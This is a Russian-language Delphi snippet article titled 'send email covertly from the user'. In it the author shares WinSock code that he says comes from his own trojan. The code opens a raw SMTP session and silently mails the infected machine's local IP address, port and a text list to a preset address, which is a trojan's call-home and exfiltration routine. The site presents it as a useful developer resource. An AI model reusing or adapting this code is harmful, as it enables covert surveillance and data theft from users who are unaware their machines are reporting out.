Отправить Email скрытно от пользователяDelphi , Интернет и Сети , E-mailОтправить Email скрытно от пользователяАвтор: Павел Ну если не устраивает дельфовый SMTP клиент... Вот вам кусок,написанный на WinSock API пробуйте разобраться... это будет посложнее чем компоненты от NetMasters юзать... (Все это исполнялось в отдельном трейде,не забудьте про WSAStartUp/ClenUp) (каюсь, это кусок из моего трояна :) function SMTPRecvReply(MailSocket: TSocket): Word; var Buffer: array[1..1024] of Byte; Err: Integer; BufStr: string; begin BufStr := ''; Recv(MailSocket, Buffer, SizeOf(Buffer), 0); for Err := 1 to 3 do BufStr := BufStr + Chr(buffer[Err]); try Result := StrToInt(BufStr); except Result := 0; end; end; function SMTPSendString(MailSocket: TSocket; Str: string): Boolean; var Buffer: array[1..1024] of Byte; Err: Integer; begin Result := FALSE; ZeroMemory(@Buffer, SizeOf(Buffer)); if Length(Str) > 1000 then Exit; for Err := 1 to Length(Str) do Buffer[Err] := Ord(Str[Err]); Buffer[Err] := 13; Buffer[Err + 1] := 10; Err := WinSock.send(MailSocket, buffer, Err + 1, 0); if Err > 0 then Result := TRUE; end; function SMTPConnectAndSendMail(Arg: Pointer): DWord; stdcall; var MailSocket: TSocket; MailSent: Boolean; MTime: TSystemTime; SMTPServer: TSockAddrIn; Step: Byte; OutOfSend: Boolean; begin MailSent := FALSE; OutOfSend := FALSE; MailSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); ZeroMemory(@SMTPServer, SizeOf(SMTPServer)); SMTPServer.sin_family := AF_INET; SMTPServer.sin_port := htons(25); SMTPServer.sin_addr.S_addr := inet_addr(PChar(smtp)); Step := 0; if Connect(MailSocket, SMTPServer, SizeOf(SMTPServer)) = 0 then repeat case SMTPRecvReply(MailSocket) of 220: SMTPSendString(MailSocket, 'HELO server.com'); 250: case STEP of 0: begin SMTPSendString(MailSocket, 'MAIL FROM:' + mail); Inc(Step); end; 1: begin SMTPSendString(MailSocket, 'RCPT TO:' + mail); Inc(Step); end; 2: begin SMTPSendString(MailSocket, 'DATA'); Inc(Step); end; 3: begin SMTPSendString(MailSocket, 'QUIT'); Inc(Step); end; end; 354: begin SMTPSendString(MailSocket, 'From:' + ServerID); SMTPSendString(MailSocket, 'To:' + UserName); SMTPSendString(MailSocket, 'Subject:' + LocalIPS + ' : ' + port + ' At ' + DateTimeToStr(Now)); SMTPSendString(MailSocket, CRLF); for count := 1 to (txt.Count - 1) do SMTPSendString(MailSocket, txt[count]); SMTPSendString(MailSocket, CRLF + '.' + CRLF); end; 221: begin OutOfSend := True; MailSent := True end; else OutOfSend := True; file: //!Case end; until OutOfSend; CloseSocket(MailSocket); end; ExitThread(0); end; Статья Отправить Email скрытно от пользователя раздела Интернет и Сети E-mail может быть полезна для разработчиков на Delphi и FreePascal. Комментарии и вопросыМатериалы статей собраны из открытых источников, владелец сайта не претендует на авторство. Там где авторство установить не удалось, материал подаётся без имени автора. В случае если Вы считаете, что Ваши права нарушены, пожалуйста, свяжитесь с владельцем сайта.
|
||||
©KANSoftWare (разработка программного обеспечения, создание программ, создание интерактивных сайтов), 2007 |